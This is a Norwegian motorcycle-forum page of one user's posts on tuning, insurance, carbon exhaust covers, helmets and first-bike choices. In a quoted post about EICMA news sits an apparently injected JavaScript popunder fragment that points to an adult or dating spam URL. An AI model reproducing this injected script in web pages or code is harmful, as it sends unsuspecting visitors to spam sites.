MCsiden

Trist historie:( Motorbytte skjønner jeg, men å feks eksosanlegg som ikke er godkjente(som en del kjører med) og bytte ut sylindere og alt som hører til. Er det antall prosentøkning på krefter det gjelder eller er det så å si ganske strengt? Med chiptuning så tenker jeg at motorvolumet ikke blir lek...

Vet noen om dette med forsikringen gjelder kjøretøyer med motorer som er oppgraderte? Det høres logisk ut i hodet mitt men man vet aldri... men om ja, til hvilken grad?

Jeg kjører nå en luftavkjølt harley og motoren kan komme opp til 150 varmegrader(om ikke mer) og jeg har også en endestuss av karbon på anlegget. Den er fortsatt blank og fin uten gulning, så de skal tåle temperaturen til "vanlige sykler". Gulningen tror jeg kan komme av UV om sykkelen stå...

Å kjøpe seg billig og gammel kan og vil ofte sprenge budsjettet i fremtiden. Mitt råd er å kjøpe noe nyere selv om det er litt dyrere, om man ikke har muligheten for å skru selv.

Jeg skjønner at man får en mestringsfølelse av å fikse ting selv og spare penger, men her syns jeg du burde skaffe deg et nytt deksel evt ikke karbon. Det er epoxyen som har gulnet og det blir vanskelig om ikke umulig å fikse. Her syns jeg ikke det blir verdt å forsøke å redde den og itillegg slite ...

Om man skal trekke mer enn en omgang så omfatter det som oftest også mer enn en bolt. I ditt eksempel er det innafor spekteret.

Nå har ts nevnt triumph bonneville og da tenker jeg sportster er en verdig konkurrent. Det jeg syns mange ikke skjønner helt med disse cruisere er at det ER lov å bytte ut dempere og oppgradere delene, noe som er poenget med disse syklene. Velg den modellen du liker mest og oppgrader delene deretter...

Jeg har kjørt denne før, og tc bidrar til å hindre wheelie. Han skal i prinsippet skrive inn registreringsnummeret så alt av info skal komme opp på svv. Stemmer at 848 ble solgt fra 2011-2015, han må ha nok blandet med 1099. Kanskje han har noe å skjule? Skeptisk til selgeren

En harley davidson sportster 1200 hadde passet ts syns nå jeg. Designet har alltid vært så å si det samme gjennom årene, tidløs og går aldri ut på dato. 1200ccm og ikke 883, vokser ikke fra motoren etter en helg. De er lave og lette å håndtere. Er en typisk sykkel du snur deg tilbake til.

AJ skrev: ↑08 nov 2019, 17:48 Mange spennende nyheter og ikke minst oppdateringer av eksisterende modeller på årets EICMA.
Ikke minst denne, som man neppe trenger å være klarsynt for å kunne si vil bli en suksess her hjemme :

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

Dette ser veldig bra ut!

Honda Cbr 600?

Bmw ligner mer og mer på japsesykler.

Syns ikke MV har lykkes med å blande retro og moderne design sammen(Superveloce og rush).

Til TS vil jeg bare si at halvhjelmen, som til alt overmål er en 3/4 hjelm, som setter liv og helse i fare, og som utsetter eieren for utilsiktet men miljøvennlig inntak av mygg og fluer i tonnevis, også fordrer en egen rutine for vinterlagring. Dette kan vi sikkert komme tilbake til utover vintere...

Sprint skrev: ↑06 nov 2019, 16:34 Ser mange av Harley gutta her kjører med Biltema sin hjelm

Du mener svart med orange og hvite striper? Njæ, harley har en sånn modell også, er tross alt harleyfarger/screaming eagle.

Unødvendig.

. Da er jeg ferdig Alt gir en erfaring. Man kan ha liten erfaring eller mye erfaring... Hva skal grensen være for antall kjørte kilometer før man lovlig kan ytre sine meninger her inne? Som jeg nevnte, jeg er egentlig ferdig, men(!) du må ikke blande erfaring med inntrykk. Det du har her kompis, de...

Søket gav 121 treff

Re: Ny sykkel til sommeren

Re: Ny sykkel til sommeren

Re: Falmet karbon

Re: Tips til pendlersykkel

Re: Falmet karbon

Re: Tiltrekningsmoment, hva er rett ?

Re: Nytt førerkort. Ny sykkel?

Re: En skal se mye rart/ bra på FINN...brukt MC

Re: Nytt førerkort. Ny sykkel?

Re: Reklamevideoer for nye MC'er vi gjerne glaner på...

Re: MCnyheter vi har ventet på...?

Re: Anbefalt halvhjelm

Re: Anbefalt halvhjelm

Re: Første sykkel

Re: Første sykkel